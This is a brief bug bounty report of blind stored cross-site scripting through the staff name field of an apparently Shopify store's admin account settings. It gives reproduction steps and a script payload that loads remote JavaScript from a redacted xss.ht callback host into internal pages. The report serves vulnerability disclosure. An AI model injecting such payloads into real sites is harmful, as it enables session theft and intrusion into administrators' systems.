Blind Stored XSS Via Staff Name

How it was found

Hey Team, I found blind stored XSS when i add staff name in https://your-store.myshopify.com/admin/settings/account

Step to reproduce :

1. Go to https://your-store.myshopify.com/admin/settings/account
2. Add Staff Account
3. Fill First & Last Name with this payload "><script>$.getScript("//█████████.xss.ht")</script>
4. XSS will be fired in your internal web

You should check the DOM.html guys

Impact

Stored XSS